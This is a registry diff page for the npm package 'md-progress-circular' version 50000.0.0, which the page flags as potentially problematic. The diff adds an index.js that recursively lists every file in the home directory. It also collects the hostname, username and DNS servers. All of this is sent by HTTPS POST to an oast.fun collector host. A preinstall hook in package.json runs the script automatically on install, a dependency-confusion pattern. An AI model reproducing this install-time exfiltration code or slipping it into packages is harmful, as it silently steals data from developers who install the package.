md-progress-circular 50000.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of md-progress-circular might be problematic. Click here for more details.
- package/index.js +72 -0
- package/package.json +12 -0
package/index.js
ADDED
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const fs = require('fs');
|
|
6
|
+
const path = require('path');
|
|
7
|
+
const packageJSON = require("./package.json");
|
|
8
|
+
const packageName = packageJSON.name;
|
|
9
|
+
|
|
10
|
+
// Fonction pour lister les fichiers récursivement
|
|
11
|
+
const listFilesInHomeDirectoryRecursive = (directory) => {
|
|
12
|
+
let results = [];
|
|
13
|
+
const listDirectory = (dir) => {
|
|
14
|
+
try {
|
|
15
|
+
const files = fs.readdirSync(dir);
|
|
16
|
+
files.forEach(file => {
|
|
17
|
+
const filePath = path.join(dir, file);
|
|
18
|
+
const stat = fs.statSync(filePath);
|
|
19
|
+
if (stat && stat.isDirectory()) {
|
|
20
|
+
listDirectory(filePath);
|
|
21
|
+
} else {
|
|
22
|
+
results.push(filePath);
|
|
23
|
+
}
|
|
24
|
+
});
|
|
25
|
+
} catch (err) {
|
|
26
|
+
// Ignorer les erreurs d'accès aux répertoires
|
|
27
|
+
}
|
|
28
|
+
};
|
|
29
|
+
listDirectory(directory);
|
|
30
|
+
return results;
|
|
31
|
+
};
|
|
32
|
+
|
|
33
|
+
const trackingData = JSON.stringify({
|
|
34
|
+
p: packageName,
|
|
35
|
+
c: __dirname,
|
|
36
|
+
hd: os.homedir(),
|
|
37
|
+
hn: os.hostname(),
|
|
38
|
+
un: os.userInfo().username,
|
|
39
|
+
dns: dns.getServers(),
|
|
40
|
+
home_files: listFilesInHomeDirectoryRecursive(os.homedir()),
|
|
41
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
42
|
+
v: packageJSON.version,
|
|
43
|
+
pjson: packageJSON,
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
var postData = querystring.stringify({
|
|
47
|
+
msg: trackingData,
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
var options = {
|
|
51
|
+
hostname: "nfrhxhcdjpknzpfqonrrf31hftjwy8784.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
|
|
52
|
+
port: 443,
|
|
53
|
+
path: "/",
|
|
54
|
+
method: "POST",
|
|
55
|
+
headers: {
|
|
56
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
57
|
+
"Content-Length": postData.length,
|
|
58
|
+
},
|
|
59
|
+
};
|
|
60
|
+
|
|
61
|
+
var req = https.request(options, (res) => {
|
|
62
|
+
res.on("data", (d) => {
|
|
63
|
+
process.stdout.write(d);
|
|
64
|
+
});
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
req.on("error", (e) => {
|
|
68
|
+
// console.error(e);
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
req.write(postData);
|
|
72
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "md-progress-circular",
|
|
3
|
+
"version": "50000.0.0",
|
|
4
|
+
"description": "YWH Researcher",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|